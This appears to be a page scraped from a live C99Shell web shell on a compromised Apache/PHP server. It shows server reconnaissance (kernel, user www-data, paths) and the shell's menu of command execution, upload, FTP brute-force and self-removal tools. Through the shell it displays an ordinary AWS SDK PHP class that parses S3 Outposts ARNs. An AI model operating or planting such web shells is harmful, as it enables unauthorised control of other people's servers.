!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-sdk-php/src/Arn/S3/   drwxr-xr-x
Free 13.12 GB of 57.97 GB (22.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OutpostsAccessPointArn.php (3.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws\Arn\S3;

use 
Aws\Arn\AccessPointArn as BaseAccessPointArn;
use 
Aws\Arn\AccessPointArnInterface;
use 
Aws\Arn\Arn;
use 
Aws\Arn\Exception\InvalidArnException;

/**
 * This class represents an S3 Outposts access point ARN, which is in the
 * following format:
 *
 * arn:{partition}:s3-outposts:{region}:{accountId}:outpost:{outpostId}:accesspoint:{accesspointName}
 *
 * ':' and '/' can be used interchangeably as delimiters for components after
 * the account ID.
 *
 * @internal
 */
class OutpostsAccessPointArn extends BaseAccessPointArn implements
    
AccessPointArnInterface,
    
OutpostsArnInterface
{
    public static function 
parse($string)
    {
        
$data parent::parse($string);
        return 
self::parseOutpostData($data);
    }

    public function 
getOutpostId()
    {
        return 
$this->data['outpost_id'];
    }

    public function 
getAccesspointName()
    {
        return 
$this->data['accesspoint_name'];
    }

    private static function 
parseOutpostData(array $data)
    {
        
$resourceData preg_split("/[\/:]/"$data['resource_id']);

        
$data['outpost_id'] = isset($resourceData[0])
            ? 
$resourceData[0]
            : 
null;
        
$data['accesspoint_type'] = isset($resourceData[1])
            ? 
$resourceData[1]
            : 
null;
        
$data['accesspoint_name'] = isset($resourceData[2])
            ? 
$resourceData[2]
            : 
null;
        if (isset(
$resourceData[3])) {
            
$data['resource_extra'] = implode(':'array_slice($resourceData3));
        }

        return 
$data;
    }

    
/**
     * Validation specific to OutpostsAccessPointArn. Note this uses the base Arn
     * class validation instead of the direct parent due to it having slightly
     * differing requirements from its parent.
     *
     * @param array $data
     */
    
public static function validate(array $data)
    {
        
Arn::validate($data);

        if ((
$data['service'] !== 's3-outposts')) {
            throw new 
InvalidArnException("The 3rd component of an S3 Outposts"
                
" access point ARN represents the service and must be"
                
" 's3-outposts'.");
        }

        
self::validateRegion($data'S3 Outposts access point ARN');
        
self::validateAccountId($data'S3 Outposts access point ARN');

        if ((
$data['resource_type'] !== 'outpost')) {
            throw new 
InvalidArnException("The 6th component of an S3 Outposts"
                
" access point ARN represents the resource type and must be"
                
" 'outpost'.");
        }

        if (!
self::isValidHostLabel($data['outpost_id'])) {
            throw new 
InvalidArnException("The 7th component of an S3 Outposts"
                
" access point ARN is required, represents the outpost ID, and"
                
" must be a valid host label.");
        }

        if (
$data['accesspoint_type'] !== 'accesspoint') {
            throw new 
InvalidArnException("The 8th component of an S3 Outposts"
                
" access point ARN must be 'accesspoint'");
        }

        if (!
self::isValidHostLabel($data['accesspoint_name'])) {
            throw new 
InvalidArnException("The 9th component of an S3 Outposts"
                
" access point ARN is required, represents the accesspoint name,"
                
" and must be a valid host label.");
        }

        if (!empty(
$data['resource_extra'])) {
            throw new 
InvalidArnException("An S3 Outposts access point ARN"
                
" should only have 9 components, delimited by the characters"
                
" ':' and '/'. '{$data['resource_extra']}' was found after the"
                
" 9th component.");
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0097 ]--